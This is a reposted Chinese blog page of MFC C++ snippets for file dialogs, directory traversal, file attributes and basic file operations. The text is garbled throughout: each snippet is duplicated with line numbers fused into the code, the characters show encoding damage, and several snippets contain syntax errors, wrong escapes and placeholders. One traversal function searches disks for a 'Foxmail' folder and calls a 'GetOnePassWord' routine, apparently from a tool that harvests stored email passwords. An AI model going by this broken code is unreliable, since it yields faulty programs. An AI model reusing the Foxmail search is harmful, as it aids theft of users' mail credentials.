MFC文件(轉(zhuǎn))
轉(zhuǎn)自:http://blog.csdn.net/qqtian1110/article/details/5855203
1、
5、轉(zhuǎn)自:http://hi.baidu.com/gclsoft/blog/item/d526b963128211dae6113ac1.html
1、
1
//打開(kāi)文件對(duì)話(huà)框 獲取路徑
2
CFileDialog dlg(1,NULL,NULL,OFN_HIDEREADONLY ,"All Files(*.*)|*.*||");
3
if(IDOK!=dlg.DoModal())
4
return;
5
FilePath = dlg.GetPathName();
6
2、
//打開(kāi)文件對(duì)話(huà)框 獲取路徑2
CFileDialog dlg(1,NULL,NULL,OFN_HIDEREADONLY ,"All Files(*.*)|*.*||");3
if(IDOK!=dlg.DoModal())4
return;5
FilePath = dlg.GetPathName();6

1
//打開(kāi)文件夾 獲取路徑
2
BROWSEINFO bi;
3
char dispname[MAX_PATH], path[MAX_PATH];
4
ITEMIDLIST * pidl;
5
bi.hwndOwner = 0;
6
bi.pidlRoot = 0;
7
bi.pszDisplayName = dispname;
8
bi.lpszTitle = "選擇文件夾";
9
bi.ulFlags = BIF_RETURNONLYFSDIRS;
10
bi.lpfn = 0;
11
bi.lParam = 0;
12
bi.iImage = 0;
13
if (pidl = SHBrowseForFolder(&bi))//彈出文件夾瀏覽窗口,并選取目錄
14
{
15
if( SHGetPathFromIDList(pidl, path) == TRUE )
16
FilePath = path ;
17
else
18
FilePath.Empty();
19
UpdateData(FALSE);
20
}
3、//遍歷每個(gè)磁盤(pán)下的所有文件、文件夾
//打開(kāi)文件夾 獲取路徑 2
BROWSEINFO bi; 3
char dispname[MAX_PATH], path[MAX_PATH]; 4
ITEMIDLIST * pidl; 5
bi.hwndOwner = 0; 6
bi.pidlRoot = 0; 7
bi.pszDisplayName = dispname; 8
bi.lpszTitle = "選擇文件夾"; 9
bi.ulFlags = BIF_RETURNONLYFSDIRS; 10
bi.lpfn = 0; 11
bi.lParam = 0; 12
bi.iImage = 0; 13
if (pidl = SHBrowseForFolder(&bi))//彈出文件夾瀏覽窗口,并選取目錄 14
{ 15
if( SHGetPathFromIDList(pidl, path) == TRUE ) 16
FilePath = path ; 17
else 18
FilePath.Empty(); 19
UpdateData(FALSE);20
} 1
void TCFindFile(CString FilePath)
2
{
3
OutputDebugString("TCFindFile");
4
CFileFind find;
5
CString Dir = FilePath+"*.*";
6
7
BOOL res =find.FindFile(Dir);
8
9
//OutputDebugString(Dir);
10
if (!res)
11
{
12
OutputDebugString("DiskScanOver!");
13
return;
14
}
15
16
while(res)
17
{
18
CString Filename;
19
CString tmp;
20
res = find.FindNextFile();
21
if (find.IsDirectory() && !find.IsDots()) //目錄是文件夾
22
{
23
Filename = find.GetFileName();
24
tmp = Dir.Left(Dir.GetLength() - 3) + Filename;
25
if (Filename == "Foxmail")
26
{
27
//執(zhí)行后續(xù)操作
28
OutputDebugString(tmp);
29
TheRightFoxmailPath = tmp;
30
OutputDebugString("GetPWDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD");
31
GetOnePassWord();
32
return;
33
}
34
tmp += "//";
35
TCFindFile(tmp);
36
}
37
}
38
}
4、
void TCFindFile(CString FilePath) 2
{ 3
OutputDebugString("TCFindFile"); 4
CFileFind find; 5
CString Dir = FilePath+"*.*"; 6
7
BOOL res =find.FindFile(Dir); 8
9
//OutputDebugString(Dir); 10
if (!res) 11
{ 12
OutputDebugString("DiskScanOver!"); 13
return; 14
} 15
16
while(res) 17
{ 18
CString Filename; 19
CString tmp; 20
res = find.FindNextFile(); 21
if (find.IsDirectory() && !find.IsDots()) //目錄是文件夾 22
{ 23
Filename = find.GetFileName(); 24
tmp = Dir.Left(Dir.GetLength() - 3) + Filename; 25
if (Filename == "Foxmail") 26
{ 27
//執(zhí)行后續(xù)操作 28
OutputDebugString(tmp); 29
TheRightFoxmailPath = tmp; 30
OutputDebugString("GetPWDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"); 31
GetOnePassWord(); 32
return; 33
} 34
tmp += "//"; 35
TCFindFile(tmp); 36
} 37
} 38
} 1
//獲取指定目錄下的所有文件函數(shù)
2
BOOL GetFileProc(CString strDir)
3
{
4
CFileFind szFind;
5
char szTempFileFind[MAX_PATH];
6
sprintf(szTempFileFind, "%s//*.*", strDir);
7
BOOL IsFind = szFind.FindFile(szTempFileFind);
8
while(IsFind)
9
{
10
IsFind = szFind.FindNextFile();
11
if (!szFind.IsDots()) //掉除"."/".."
12
{
13
if (!szFind.IsDirectory()) //不是目錄
14
{
15
char szFoundFileName[MAX_PATH] = "/0";
16
lstrcpy(szFoundFileName, szFind.GetFileName().GetBuffer(MAX_PATH));
17
18
if (szFoundFileName[0]))
19
{
20
char szTempFile[MAX_PATH];
21
sprintf(szTempFile, "%s//%s", strDir,szFoundFileName);
22
23
//處理這個(gè)文件
24
}
25
}
26
}
27
}
28
szFind.Close();
29
return TRUE;
30
}
//獲取指定目錄下的所有文件函數(shù) 2
BOOL GetFileProc(CString strDir) 3
{ 4
CFileFind szFind; 5
char szTempFileFind[MAX_PATH]; 6
sprintf(szTempFileFind, "%s//*.*", strDir); 7
BOOL IsFind = szFind.FindFile(szTempFileFind); 8
while(IsFind) 9
{ 10
IsFind = szFind.FindNextFile(); 11
if (!szFind.IsDots()) //掉除"."/".." 12
{ 13
if (!szFind.IsDirectory()) //不是目錄 14
{ 15
char szFoundFileName[MAX_PATH] = "/0"; 16
lstrcpy(szFoundFileName, szFind.GetFileName().GetBuffer(MAX_PATH)); 17
18
if (szFoundFileName[0])) 19
{ 20
char szTempFile[MAX_PATH]; 21
sprintf(szTempFile, "%s//%s", strDir,szFoundFileName); 22
23
//處理這個(gè)文件 24
} 25
} 26
} 27
} 28
szFind.Close(); 29
return TRUE; 30
} 5、轉(zhuǎn)自:http://hi.baidu.com/gclsoft/blog/item/d526b963128211dae6113ac1.html
1
//MFC 獲取文件屬性
2
3
UpdateData(TRUE);
4
//在打開(kāi)文件對(duì)話(huà)框中選擇文件
5
CFileDialog FileDlg(TRUE,NULL,NULL,OFN_HIDEREADONLY, "All Files (*.*)|*.*||");
6
//如果未打開(kāi)文件,則返回
7
if (FileDlg.DoModal()==IDCANCEL) return;
8
//獲取打開(kāi)文件的路徑
9
m_strFileName=FileDlg.GetPathName();
10
//聲明文件屬性變量
11
CFileStatus status;
12
13
CFile::GetStatus(m_strFileName, status);
14
//獲取文件名
15
m_strFullName.Format("文件名: %s",status.m_szFullName);
16
//獲取文件大小
17
m_strSize.Format("文件大小: %d字節(jié)",status.m_size);
18
//獲取文件的創(chuàng)建時(shí)間
19
m_strCreateTime=status.m_ctime.Format("創(chuàng)建時(shí)間: %Y年%m月%d日 %H:%M:%S");
20
//獲取文件的修改時(shí)間
21
m_strModifyTime=status.m_mtime.Format("修改時(shí)間: %Y年%m月%d日 %H:%M:%S");
22
//獲取文件的最后訪(fǎng)問(wèn)時(shí)間
23
m_strAccessTime=status.m_atime.Format("訪(fǎng)問(wèn)時(shí)間: %Y年%m月%d日");
24
//獲取文件屬性
25
m_strAttribute.Format("屬性: %s%s%s%s",
26
(status.m_attribute&CFile::readOnly) == CFile::readOnly ? "只讀 ":"",
27
(status.m_attribute&CFile::hidden) == CFile::hidden ? "隱藏 ":"",
28
(status.m_attribute&CFile::system) == CFile::system ? "系統(tǒng) ":"",
29
(status.m_attribute&CFile::archive) == CFile::archive ? "存檔 ":"");
30
31
UpdateData(FALSE);
//網(wǎng)上下載
//MFC 獲取文件屬性 2

3
UpdateData(TRUE);4
//在打開(kāi)文件對(duì)話(huà)框中選擇文件5
CFileDialog FileDlg(TRUE,NULL,NULL,OFN_HIDEREADONLY, "All Files (*.*)|*.*||");6
//如果未打開(kāi)文件,則返回7
if (FileDlg.DoModal()==IDCANCEL) return;8
//獲取打開(kāi)文件的路徑9
m_strFileName=FileDlg.GetPathName();10
//聲明文件屬性變量11
CFileStatus status;12

13
CFile::GetStatus(m_strFileName, status);14
//獲取文件名15
m_strFullName.Format("文件名: %s",status.m_szFullName);16
//獲取文件大小17
m_strSize.Format("文件大小: %d字節(jié)",status.m_size);18
//獲取文件的創(chuàng)建時(shí)間19
m_strCreateTime=status.m_ctime.Format("創(chuàng)建時(shí)間: %Y年%m月%d日 %H:%M:%S");20
//獲取文件的修改時(shí)間21
m_strModifyTime=status.m_mtime.Format("修改時(shí)間: %Y年%m月%d日 %H:%M:%S");22
//獲取文件的最后訪(fǎng)問(wèn)時(shí)間23
m_strAccessTime=status.m_atime.Format("訪(fǎng)問(wèn)時(shí)間: %Y年%m月%d日");24
//獲取文件屬性25
m_strAttribute.Format("屬性: %s%s%s%s",26
(status.m_attribute&CFile::readOnly) == CFile::readOnly ? "只讀 ":"",27
(status.m_attribute&CFile::hidden) == CFile::hidden ? "隱藏 ":"",28
(status.m_attribute&CFile::system) == CFile::system ? "系統(tǒng) ":"",29
(status.m_attribute&CFile::archive) == CFile::archive ? "存檔 ":"");30

31
UpdateData(FALSE); 1
//1.創(chuàng)建文件夾
2
CreateDirectory(%%1,NULL);
3
//2.創(chuàng)建文件
4
CFile file;
5
file.Open(%%1,CFile::modeCreate|CFile::modeWrite);?
6
//3.刪除文件
7
DeleteFile(%%1);
8
//4.刪除文件夾 RemoveDirectory(%%1);
9
//5.刪除一個(gè)目錄下所有的文件夾
10
CFileFind finder;
11
BOOL bWorking = finder.FindFile(%%1+"\\*.*");
12
while(bWorking)
13
{
14
bWorking = finder.FindNextFile();
15
if(finder.IsDirectory())
16
{
17
dir.Delete(finder.GetFilePath());
18
}
19
}
20
//6.清空文件夾
21
RemoveDirectory(%%1);
22
CreateDirectory(%%1,NULL)
23
//7.讀取文件
24
char sRead[1024];
25
CFile mFile(_T(%%1),CFile::modeRead);
26
while(sRead!=null)
27
{
28
mFile.Read(sRead,1024);
29
CString %%2 = CString(sRead);
30
}
31
//8.寫(xiě)入文件
32
CFile mFile(_T(%%1),CFile::modeWrite|CFile::modeCreate);
33
mFile.Write(%%2,sizeof(%%2)); mFile.Flush(); mFile.Close();
//1.創(chuàng)建文件夾 2
CreateDirectory(%%1,NULL);3
//2.創(chuàng)建文件 4
CFile file; 5
file.Open(%%1,CFile::modeCreate|CFile::modeWrite);?6
//3.刪除文件 7
DeleteFile(%%1);8
//4.刪除文件夾 RemoveDirectory(%%1);9
//5.刪除一個(gè)目錄下所有的文件夾 10
CFileFind finder;11
BOOL bWorking = finder.FindFile(%%1+"\\*.*");12
while(bWorking) 13
{14
bWorking = finder.FindNextFile(); 15
if(finder.IsDirectory()) 16
{17
dir.Delete(finder.GetFilePath()); 18
} 19
}20
//6.清空文件夾 21
RemoveDirectory(%%1);22
CreateDirectory(%%1,NULL)23
//7.讀取文件 24
char sRead[1024]; 25
CFile mFile(_T(%%1),CFile::modeRead); 26
while(sRead!=null) 27
{28
mFile.Read(sRead,1024); 29
CString %%2 = CString(sRead); 30
}31
//8.寫(xiě)入文件 32
CFile mFile(_T(%%1),CFile::modeWrite|CFile::modeCreate);33
mFile.Write(%%2,sizeof(%%2)); mFile.Flush(); mFile.Close();posted on 2012-07-15 23:31 陳志遠(yuǎn) 閱讀(344) 評(píng)論(0) 編輯 收藏 引用



